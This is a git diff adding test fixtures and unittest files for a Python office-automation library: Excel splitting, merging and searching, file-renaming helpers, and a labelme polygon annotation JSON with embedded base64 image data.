comtypes python_requires = >=3.6 include_package_data = True zip_safe = False - diff --git a/tests/Sheet1.xlsx b/tests/Sheet1.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..a331709ef5dfe179e63149061c0e888ce0f45811 Binary files /dev/null and b/tests/Sheet1.xlsx differ diff --git a/tests/Sheet2.xlsx b/tests/Sheet2.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..1d2344794c3321561b00789a305e1b1e6ce5cc3b Binary files /dev/null and b/tests/Sheet2.xlsx differ diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..2742a1d6bdd6cbea31e7fe49a3e148c3523418fd --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1 @@ +# pip install python-office -i https://pypi.python.org/simple -U \ No newline at end of file diff --git a/tests/add_img.pdf b/tests/add_img.pdf new file mode 100644 index 0000000000000000000000000000000000000000..b559c30772453e7543da1c345220754e3042073a Binary files /dev/null and b/tests/add_img.pdf differ diff --git "a/tests/excel/1\346\234\210.xls" "b/tests/excel/1\346\234\210.xls" new file mode 100644 index 0000000000000000000000000000000000000000..02073b27975ef82014ebb1abd02bf7a4a6d8fdcd Binary files /dev/null and "b/tests/excel/1\346\234\210.xls" differ diff --git "a/tests/excel/2\346\234\210.xls" "b/tests/excel/2\346\234\210.xls" new file mode 100644 index 0000000000000000000000000000000000000000..444b101177be7eb99ed9469f6af8c95a749ceaf2 Binary files /dev/null and "b/tests/excel/2\346\234\210.xls" differ diff --git "a/tests/excel/3\346\234\210.xls" "b/tests/excel/3\346\234\210.xls" new file mode 100644 index 0000000000000000000000000000000000000000..3805972419d5da5ed42bbac45b67cd7d261ec463 Binary files /dev/null and "b/tests/excel/3\346\234\210.xls" differ diff --git "a/tests/excel/4\346\234\210.xls" "b/tests/excel/4\346\234\210.xls" new file mode 100644 index 0000000000000000000000000000000000000000..5f3835c6964b3bb1f2c6692041584bc6b9839f77 Binary files /dev/null and "b/tests/excel/4\346\234\210.xls" differ diff --git a/tests/excel/output_file1.xlsx b/tests/excel/output_file1.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..46edf34ffab114d8dcd4aa975185e2bda09eaf6c Binary files /dev/null and b/tests/excel/output_file1.xlsx differ diff --git a/tests/fake2excel.xlsx b/tests/fake2excel.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..96f1517cc6ea1eecf77af2ee4901c481a450af5e Binary files /dev/null and b/tests/fake2excel.xlsx differ diff --git a/tests/output/0816.jpg b/tests/output/0816.jpg new file mode 100644 index 0000000000000000000000000000000000000000..227b7a0e6ff338b4f4c36b5cd40a6c00757be8ca Binary files /dev/null and b/tests/output/0816.jpg differ diff --git a/tests/test_dev.py b/tests/test_dev.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/tests/test_excel.py b/tests/test_excel.py index 0585f2ae710b2fc529aa3ad9ccdb11f7e443466e..eb83867d1a9aabe7932fb89aa56b47b203030648 100644 --- a/tests/test_excel.py +++ b/tests/test_excel.py @@ -1,5 +1,60 @@ import unittest -import office +from pathlib import Path + +import pandas as pd +from office.api.excel import * +import os + + class TestExcel(unittest.TestCase): def test_fake2excel(self): - office.excel.fake2excel() \ No newline at end of file + fake2excel(language='fdsa') + + def test_split_excel_by_column(self): + split_excel_by_column(filepath=r'..\contributors\bulabean\sedemo.xls', + column=6) + + def test_sheet2excel(self): + sheet2excel(file_path=r'./test_files/excel/fake2excel.xlsx') + + def test_split_excel_by_column(self): + split_excel_by_column(filepath='../contributors/bulabean/SEdemo.xlsx', column=5) + + def test_merge2excel(self): + merge2excel(dir_path=r'../contributors/bulabean', output_file='test_merge2excel.xlsx', ) + + def test_find_excel_data(self): + find_excel_data(search_key='刘家站垦殖场', target_dir=r'../contributors/bulabean') + + # def test_merge2sheet(self): + # """ + # https://blog.csdn.net/xue_11/article/details/118424380 + # https://www.jb51.net/article/214868.htm + # """ + # dir_path = 'test_files/excel' + # for root, dirs, files in os.walk(dir_path): + # path = Path(dir_path) + # print(files) + # df_list = [] + # for file in files: + # if file.endswith("xlsx") or file.endswith("xls"): + # excel_path = (path / file) + # df_list.append(pd.read_excel(excel_path)) + # res = pd.concat(df_list) + # res.to_excel( + # R"./excel/output_file2.xlsx", + # sheet_name="手机商品", + # index=False # 不保留index + # ) + + # single_df_1 = pd.read_excel(r'./excel/1月.xls') + # print(single_df_1) + # single_df_2 = pd.read_excel(r'./excel/2月.xls') + # single_df_3 = pd.read_excel(r'./excel/3月.xls') + # single_df_4 = pd.read_excel(r'./excel/4月.xls') + # res = pd.concat([single_df_1, single_df_2,single_df_3,single_df_4]) + # res.to_excel( + # R"./excel/output_file1.xlsx", + # sheet_name="手机商品", + # index=False, # 不保留index + # ) diff --git a/tests/test_file.py b/tests/test_file.py new file mode 100644 index 0000000000000000000000000000000000000000..75dca49b789028948f906d722587ac04469aba0f --- /dev/null +++ b/tests/test_file.py @@ -0,0 +1,23 @@ +import unittest + +from office.api.file import file_name_add_prefix, search_specify_type_file, file_name_insert_content, \ + file_name_add_postfix, output_file_list_to_excel + + +class TestFile(unittest.TestCase): + def test_file_name_add_prefix(self): + file_name_add_prefix(file_path=r'D:\workplace\code\test\output\test', prefix_content='2022') + + def test_search_specify_type_file(self): + search_specify_type_file(file_path=r'test_files/pdf', file_type='.pdf') + + def test_file_name_insert_content(self): + file_name_insert_content(file_path=r"C:\Users\37386\PycharmProjects\python-office\testfile\file", + insert_position=1, insert_content="插入内容测试") + + def test_file_name_add_postfix(self): + file_name_add_postfix(r"C:\Users\37386\PycharmProjects\python-office\testfile\file", + "添加后缀测试") + + def test_output_file_list_to_excel(self): + output_file_list_to_excel("../testfile") \ No newline at end of file diff --git a/tests/test_files/excel/fake2excel.xlsx b/tests/test_files/excel/fake2excel.xlsx new file mode 100644 index 0000000000000000000000000000000000000000..34d52946de54efb12e16ef5ee6f040f0d7512c1c Binary files /dev/null and b/tests/test_files/excel/fake2excel.xlsx differ diff --git a/tests/test_files/images/0816.jpg b/tests/test_files/images/0816.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d608fc1ce6699c8e8f76bb8f1e0b3de63ff88e61 Binary files /dev/null and b/tests/test_files/images/0816.jpg differ diff --git a/tests/test_files/json/1.json b/tests/test_files/json/1.json new file mode 100644 index 0000000000000000000000000000000000000000..7a61790d104a468ed71c17a5f58d9d683fd7a71e --- /dev/null +++ b/tests/test_files/json/1.json @@ -0,0 +1,34 @@ +{ + "version": "5.0.1", + "flags": {}, + "shapes": [ + { + "label": "advert", + "points": [ + [ + 236.7619047619047, + 334.1904761904762 + ], + [ + 288.19047619047615, + 358.95238095238096 + ], + [ + 272.95238095238096, + 372.2857142857143 + ], + [ + 216.7619047619047, + 318.95238095238096 + ] + ], + "group_id": null, + "shape_type": "polygon", + "flags": {} + } + ], + "imagePath": "1.jpg", + "imageData": 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